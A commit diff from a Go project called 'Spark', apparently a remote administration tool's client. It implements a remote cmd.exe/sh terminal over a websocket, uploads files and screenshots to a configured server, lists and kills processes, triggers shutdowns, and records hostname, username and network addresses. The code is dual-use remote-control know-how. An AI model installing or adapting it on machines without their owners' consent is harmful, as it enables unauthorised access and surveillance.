if err == syscall.Errno(0) {
return nil
}
return err
}
func Logoff() error {
dll := syscall.MustLoadDLL(`user32`)
_, _, err := dll.MustFindProc(`ExitWindowsEx`).Call(0x0, 0x0)
dll.Release()
if err == syscall.Errno(0) {
return nil
}
return err
}
func Hibernate() error {
dll := syscall.MustLoadDLL(`powrprof`)
_, _, err := dll.MustFindProc(`SetSuspendState`).Call(0x0, 0x0, 0x1)
dll.Release()
if err == syscall.Errno(0) {
return nil
}
return err
}
func Suspend() error {
dll := syscall.MustLoadDLL(`powrprof`)
_, _, err := dll.MustFindProc(`SetSuspendState`).Call(0x1, 0x0, 0x1)
dll.Release()
if err == syscall.Errno(0) {
return nil
}
return err
}
func Restart() error {
dll := syscall.MustLoadDLL(`user32`)
_, _, err := dll.MustFindProc(`ExitWindowsEx`).Call(0x2, 0x0)
dll.Release()
if err == syscall.Errno(0) {
return nil
}
return err
}
func Shutdown() error {
dll := syscall.MustLoadDLL(`user32`)
_, _, err := dll.MustFindProc(`ExitWindowsEx`).Call(0x1, 0x0)
dll.Release()
if err == syscall.Errno(0) {
return nil
}
return err
}

View File

@@ -0,0 +1,91 @@
package file
import (
"Spark/client/config"
"errors"
"github.com/imroc/req/v3"
"io"
"io/ioutil"
"os"
"strconv"
)
type file struct {
Name string `json:"name"`
Size int64 `json:"size"`
Time int64 `json:"time"`
Type int `json:"type"` //0: file, 1: folder, 2: volume
}
// listFiles returns files and directories find in path.
func listFiles(path string) ([]file, error) {
result := make([]file, 0)
files, err := ioutil.ReadDir(path)
if err != nil {
return nil, err
}
for i := 0; i < len(files); i++ {
itemType := 0
if files[i].IsDir() {
itemType = 1
}
result = append(result, file{
Name: files[i].Name(),
Size: files[i].Size(),
Time: files[i].ModTime().Unix(),
Type: itemType,
})
}
return result, nil
}
func UploadFile(path, trigger string, start, end int64) error {
file, err := os.Open(path)
if err != nil {
return err
}
reader, writer := io.Pipe()
defer file.Close()
uploadReq := req.R()
stat, err := file.Stat()
if err != nil {
return err
}
size := stat.Size()
headers := map[string]string{
`Trigger`: trigger,
`FileName`: stat.Name(),
`FileSize`: strconv.FormatInt(size, 10),
}
if size < end {
return errors.New(`文件大小有误`)
}
if end == 0 {
uploadReq.RawRequest.ContentLength = size - start
} else {
uploadReq.RawRequest.ContentLength = end - start
}
shouldRead := uploadReq.RawRequest.ContentLength
file.Seek(start, 0)
go func() {
for {
bufSize := int64(2 << 14)
if shouldRead < bufSize {
bufSize = shouldRead
}
buffer := make([]byte, bufSize) // 32768
n, err := file.Read(buffer)
buffer = buffer[:n]
shouldRead -= int64(n)
writer.Write(buffer)
if n == 0 || shouldRead == 0 || err != nil {
break
}
}
writer.Close()
}()
url := config.GetBaseURL(false) + `/api/device/file/put`
_, err = uploadReq.SetBody(reader).SetHeaders(headers).Send(`PUT`, url)
reader.Close()
return err
}

View File

@@ -0,0 +1,10 @@
// +build !windows
package file
func ListFiles(path string) ([]file, error) {
if len(path) == 0 {
path = `/`
}
return listFiles(path)
}

View File

@@ -0,0 +1,23 @@
// +build windows
package file
import "github.com/shirou/gopsutil/v3/disk"
// ListFiles will only be called when path is root and
// current system is Windows.
// It will return mount points of all volumes.
func ListFiles(path string) ([]file, error) {
result := make([]file, 0)
if len(path) == 0 || path == `\` || path == `/` {
partitions, err := disk.Partitions(true)
if err != nil {
return nil, err
}
for i := 0; i < len(partitions); i++ {
result = append(result, file{Name: partitions[i].Mountpoint, Type: 2})
}
return result, nil
}
return listFiles(path)
}

View File

@@ -0,0 +1,37 @@
package process
import "github.com/shirou/gopsutil/v3/process"
type Process struct {
Name string `json:"name"`
Pid int32 `json:"pid"`
}
func ListProcesses() ([]Process, error) {
result := make([]Process, 0)
processes, err := process.Processes()
if err != nil {
return nil, err
}
for i := 0; i < len(processes); i++ {
name, err := processes[i].Name()
if err != nil {
name = `<Unknown>`
}
result = append(result, Process{Name: name, Pid: processes[i].Pid})
}
return result, nil
}
func KillProcess(pid int32) error {
processes, err := process.Processes()
if err != nil {
return err
}
for i := 0; i < len(processes); i++ {
if processes[i].Pid == pid {
return processes[i].Kill()
}
}
return nil
}

View File

@@ -0,0 +1,16 @@
package screenshot
import (
"Spark/client/config"
"github.com/imroc/req/v3"
)
func putScreenshot(trigger, err string, body interface{}) (*req.Response, error) {
return req.R().
SetBody(body).
SetHeaders(map[string]string{
`Trigger`: trigger,
`Error`: err,
}).
Send(`PUT`, config.GetBaseURL(false)+`/api/device/screenshot/put`)
}

View File

@@ -0,0 +1,32 @@
//+build linux windows
package screenshot
import (
"bytes"
"errors"
"github.com/kbinani/screenshot"
"image/png"
)
func GetScreenshot(trigger string) error {
writer := new(bytes.Buffer)
num := screenshot.NumActiveDisplays()
if num == 0 {
err := errors.New(`no display found`)
putScreenshot(trigger, err.Error(), nil)
return err
}
img, err := screenshot.CaptureDisplay(0)
if err != nil {
putScreenshot(trigger, err.Error(), nil)
return err
}
err = png.Encode(writer, img)
if err != nil {
putScreenshot(trigger, err.Error(), nil)
return err
}
_, err = putScreenshot(trigger, ``, writer)
return err
}

View File

@@ -0,0 +1,11 @@
//+build !linux
//+build !windows
package screenshot
import "Spark/utils"
func GetScreenshot(trigger string) error {
_, err := putScreenshot(trigger, utils.ErrUnsupported.Error(), nil)
return err
}

View File

@@ -0,0 +1,241 @@
package terminal
import (
"Spark/client/common"
"Spark/modules"
"Spark/utils/cmap"
"bytes"
"encoding/hex"
"errors"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
"io"
"io/ioutil"
"os"
"os/exec"
"runtime"
"time"
)
type terminal struct {
lastInput int64
event string
cmd *exec.Cmd
stdout *io.ReadCloser
stderr *io.ReadCloser
stdin *io.WriteCloser
}
var terminals = cmap.New()
var (
errDataNotFound = errors.New(`no input found in packet`)
errDataInvalid = errors.New(`can not parse data in packet`)
errUUIDNotFound = errors.New(`can not find terminal identifier`)
)
func init() {
go healthCheck()
}
func InitTerminal(pack modules.Packet) error {
cmd := exec.Command(getTerminal())
stdout, err := cmd.StdoutPipe()
if err != nil {
cmd.Process.Kill()
return err
}
stderr, err := cmd.StderrPipe()
if err != nil {
cmd.Process.Kill()
return err
}
stdin, err := cmd.StdinPipe()
if err != nil {
cmd.Process.Kill()
return err
}
go func() {
for {
buffer := make([]byte, 512)
n, err := stdout.Read(buffer)
buffer = buffer[:n]
buffer, _ = gbkToUtf8(buffer)
common.SendCb(modules.Packet{Act: `outputTerminal`, Data: map[string]interface{}{
`output`: hex.EncodeToString(buffer),
}}, pack, common.WSConn)
if err != nil {
common.SendCb(modules.Packet{Act: `quitTerminal`}, pack, common.WSConn)
break
}
}
}()
go func() {
for {
buffer := make([]byte, 512)
n, err := stderr.Read(buffer)
buffer = buffer[:n]
buffer, _ = gbkToUtf8(buffer)
common.SendCb(modules.Packet{Act: `outputTerminal`, Data: map[string]interface{}{
`output`: hex.EncodeToString(buffer),
}}, pack, common.WSConn)
if err != nil {
common.SendCb(modules.Packet{Act: `quitTerminal`}, pack, common.WSConn)
break
}
}
}()
event := ``
if pack.Data != nil {
if val, ok := pack.Data[`event`]; ok {
event, _ = val.(string)
}
}
terminals.Set(pack.Data[`terminal`].(string), &terminal{
cmd: cmd,
event: event,
stdout: &stdout,
stderr: &stderr,
stdin: &stdin,
lastInput: time.Now().Unix(),
})
cmd.Start()
return nil
}
func InputTerminal(pack modules.Packet) error {
if pack.Data == nil {
return errDataNotFound
}
val, ok := pack.Data[`input`]
if !ok {
return errDataNotFound
}
hexStr, ok := val.(string)
if !ok {
return errDataNotFound
}
data, err := hex.DecodeString(hexStr)
if err != nil {
return errDataInvalid
}
val, ok = pack.Data[`terminal`]
if !ok {
return errUUIDNotFound
}
termUUID, ok := val.(string)
if !ok {
return errUUIDNotFound
}
val, ok = terminals.Get(termUUID)
if !ok {
common.SendCb(modules.Packet{Act: `quitTerminal`, Msg: `终端已退出`}, pack, common.WSConn)
return nil
}
terminal, ok := val.(*terminal)
if !ok {
common.SendCb(modules.Packet{Act: `quitTerminal`, Msg: `终端已退出`}, pack, common.WSConn)
return nil
}
terminal.lastInput = time.Now().Unix()
if len(data) == 1 && data[0] == '\x03' {
terminal.cmd.Process.Signal(os.Interrupt)
return nil
}
data, _ = utf8ToGbk(data)
(*terminal.stdin).Write(data)
return nil
}
func KillTerminal(pack modules.Packet) error {
if pack.Data == nil {
return errUUIDNotFound
}
val, ok := pack.Data[`terminal`]
if !ok {
return errUUIDNotFound
}
termUUID, ok := val.(string)
if !ok {
return errUUIDNotFound
}
val, ok = terminals.Get(termUUID)
if !ok {
common.SendCb(modules.Packet{Act: `quitTerminal`, Msg: `终端已退出`}, pack, common.WSConn)
return nil
}
terminal, ok := val.(*terminal)
if !ok {
terminals.Remove(termUUID)
common.SendCb(modules.Packet{Act: `quitTerminal`, Msg: `终端已退出`}, pack, common.WSConn)
return nil
}
doKillTerminal(terminal)
return nil
}
func doKillTerminal(terminal *terminal) {
(*terminal.stdout).Close()
(*terminal.stderr).Close()
(*terminal.stdin).Close()
if terminal.cmd.Process != nil {
terminal.cmd.Process.Kill()
}
}
func getTerminal() string {
switch runtime.GOOS {
case `windows`:
return `cmd.exe`
case `linux`:
return `sh`
case `darwin`:
return `sh`
default:
return `sh`
}
}
func gbkToUtf8(s []byte) ([]byte, error) {
reader := transform.NewReader(bytes.NewReader(s), simplifiedchinese.GB18030.NewDecoder())
d, e := ioutil.ReadAll(reader)
if e != nil {
return nil, e
}
return d, nil
}
func utf8ToGbk(s []byte) ([]byte, error) {
reader := transform.NewReader(bytes.NewReader(s), simplifiedchinese.GB18030.NewEncoder())
d, e := ioutil.ReadAll(reader)
if e != nil {
return nil, e
}
return d, nil
}
func healthCheck() {
const MaxInterval = 180
for now := range time.NewTicker(30 * time.Second).C {
timestamp := now.Unix()
// stores sessions to be disconnected
queue := make([]string, 0)
terminals.IterCb(func(uuid string, t interface{}) bool {
terminal, ok := t.(*terminal)
if !ok {
queue = append(queue, uuid)
return true
}
if timestamp-terminal.lastInput > MaxInterval {
queue = append(queue, uuid)
doKillTerminal(terminal)
}
return true
})
for i := 0; i < len(queue); i++ {
terminals.Remove(queue[i])
}
}
}

45
go.mod Normal file
View File

@@ -0,0 +1,45 @@
module Spark
go 1.17
require (
github.com/denisbrodbeck/machineid v1.0.1
github.com/gin-gonic/gin v1.7.7
github.com/gorilla/websocket v1.5.0
github.com/imroc/req/v3 v3.8.2
github.com/json-iterator/go v1.1.12
github.com/kataras/golog v0.1.7
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329
github.com/rakyll/statik v0.1.7
github.com/shirou/gopsutil/v3 v3.22.2
)
require (
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gin-contrib/sse v0.1.0 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-playground/locales v0.13.0 // indirect
github.com/go-playground/universal-translator v0.17.0 // indirect
github.com/go-playground/validator/v10 v10.4.1 // indirect
github.com/golang/protobuf v1.3.3 // indirect
github.com/hashicorp/errwrap v1.0.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240 // indirect
github.com/kataras/pio v0.0.10 // indirect
github.com/leodido/go-urn v1.2.0 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-isatty v0.0.12 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
github.com/tklauser/go-sysconf v0.3.9 // indirect
github.com/tklauser/numcpus v0.3.0 // indirect
github.com/ugorji/go/codec v1.1.7 // indirect
github.com/yusufpapurcu/wmi v1.2.2 // indirect
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 // indirect
golang.org/x/net v0.0.0-20220111093109-d55c255bac03 // indirect
golang.org/x/sys v0.0.0-20220111092808-5a964db01320 // indirect
golang.org/x/text v0.3.7 // indirect
gopkg.in/yaml.v2 v2.2.8 // indirect
)

116
go.sum Normal file
View File

@@ -0,0 +1,116 @@
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/denisbrodbeck/machineid v1.0.1 h1:geKr9qtkB876mXguW2X6TU4ZynleN6ezuMSRhl4D7AQ=
github.com/denisbrodbeck/machineid v1.0.1/go.mod h1:dJUwb7PTidGDeYyUBmXZ2GphQBbjJCrnectwCyxcUSI=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
github.com/gin-gonic/gin v1.7.7 h1:3DoBmSbJbZAWqXJC3SLjAPfutPJJRN1U5pALB7EeTTs=
github.com/gin-gonic/gin v1.7.7/go.mod h1:axIBovoeJpVj8S3BwE0uPMTeReE4+AfFtqpqaZ1qq1U=
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/go-playground/assert/v2 v2.0.1 h1:MsBgLAaY856+nPRTKrp3/OZK38U/wa0CcBYNjji3q3A=
github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
github.com/go-playground/locales v0.13.0 h1:HyWk6mgj5qFqCT5fjGBuRArbVDfE4hi8+e8ceBS/t7Q=
github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8=
github.com/go-playground/universal-translator v0.17.0 h1:icxd5fm+REJzpZx7ZfpaD876Lmtgy7VtROAbHHXk8no=
github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA=
github.com/go-playground/validator/v10 v10.4.1 h1:pH2c5ADXtd66mxoE0Zm9SUhxE20r7aM3F26W0hOn+GE=
github.com/go-playground/validator/v10 v10.4.1/go.mod h1:nlOn6nFhuKACm19sB/8EGNn9GlaMV7XkbRSipzJ0Ii4=
github.com/golang/protobuf v1.3.3 h1:gyjaxf+svBWX08ZjK86iN9geUJF0H6gp2IRKX6Nf6/I=
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.7 h1:81/ik6ipDQS2aGcBfIN5dHDB36BwrStyeAQquSYCV4o=
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc=
github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
github.com/imroc/req/v3 v3.8.2 h1:wFZ7B0dclCQyjClP5GwXRboUGIek5l0mCpodrGgT01c=
github.com/imroc/req/v3 v3.8.2/go.mod h1:3JIicOKEDHfCSYYNLb/ObZNpx64EV5y40VlHMwhUCzU=
github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240 h1:dy+DS31tGEGCsZzB45HmJJNHjur8GDgtRNX9U7HnSX4=
github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240/go.mod h1:3P4UH/k22rXyHIJD2w4h2XMqPX4Of/eySEZq9L6wqc4=
github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/kataras/golog v0.1.7 h1:0TY5tHn5L5DlRIikepcaRR/6oInIr9AiWsxzt0vvlBE=
github.com/kataras/golog v0.1.7/go.mod h1:jOSQ+C5fUqsNSwurB/oAHq1IFSb0KI3l6GMa7xB6dZA=
github.com/kataras/pio v0.0.10 h1:b0qtPUqOpM2O+bqa5wr2O6dN4cQNwSmFd6HQqgVae0g=
github.com/kataras/pio v0.0.10/go.mod h1:gS3ui9xSD+lAUpbYnjOGiQyY7sUMJO+EHpiRzhtZ5no=
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329 h1:qq2nCpSrXrmvDGRxW0ruW9BVEV1CN2a9YDOExdt+U0o=
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329/go.mod h1:2VPVQDR4wO7KXHwP+DAypEy67rXf+okUx2zjgpCxZw4=
github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y=
github.com/leodido/go-urn v1.2.0/go.mod h1:+8+nEpDfqqsY+g338gtMEUOtuK+4dEMhiQEgxpxOKII=
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw=
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
github.com/rakyll/statik v0.1.7 h1:OF3QCZUuyPxuGEP7B4ypUa7sB/iHtqOTDYZXGM8KOdQ=
github.com/rakyll/statik v0.1.7/go.mod h1:AlZONWzMtEnMs7W4e/1LURLiI49pIMmp6V9Unghqrcc=
github.com/shirou/gopsutil/v3 v3.22.2 h1:wCrArWFkHYIdDxx/FSfF5RB4dpJYW6t7rcp3+zL8uks=
github.com/shirou/gopsutil/v3 v3.22.2/go.mod h1:WapW1AOOPlHyXr+yOyw3uYx36enocrtSoSBy0L5vUHY=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/tklauser/go-sysconf v0.3.9 h1:JeUVdAOWhhxVcU6Eqr/ATFHgXk/mmiItdKeJPev3vTo=
github.com/tklauser/go-sysconf v0.3.9/go.mod h1:11DU/5sG7UexIrp/O6g35hrWzu0JxlwQ3LSFUzyeuhs=
github.com/tklauser/numcpus v0.3.0 h1:ILuRUQBtssgnxw0XXIjKUC56fgnOrFoQQ/4+DeU2biQ=
github.com/tklauser/numcpus v0.3.0/go.mod h1:yFGUr7TUHQRAhyqBcEg0Ge34zDBAsIvJJcyE6boqnA8=
github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=
github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY=
github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg=
github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20220111093109-d55c255bac03 h1:0FB83qp0AzVJm+0wcIlauAjJ+tNdh7jLuacRYCIVv7s=
golang.org/x/net v0.0.0-20220111093109-d55c255bac03/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220111092808-5a964db01320 h1:0jf+tOCoZ3LyutmCOWpVni1chK4VfFLhRsDK7MhqGRY=
golang.org/x/sys v0.0.0-20220111092808-5a964db01320/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

29
modules/modules.go Normal file
View File

@@ -0,0 +1,29 @@
package modules
type Packet struct {
Code int `json:"code"`
Act string `json:"act,omitempty"`
Msg string `json:"msg,omitempty"`
Data map[string]interface{} `json:"data,omitempty"`
}
type CommonPack struct {
Code int `json:"code"`
Act string `json:"act,omitempty"`
Msg string `json:"msg,omitempty"`
Data interface{} `json:"data,omitempty"`
}
type Device struct {
ID string `json:"id"`
OS string `json:"os"`
Arch string `json:"arch"`
CPU string `json:"cpu"`
LAN string `json:"lan"`
WAN string `json:"wan"`
Mac string `json:"mac"`
Mem uint64 `json:"mem"`
Uptime uint64 `json:"uptime"`
Hostname string `json:"hostname"`
Username string `json:"username"`
}

BIN
screenshots/explorer.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 53 KiB

BIN
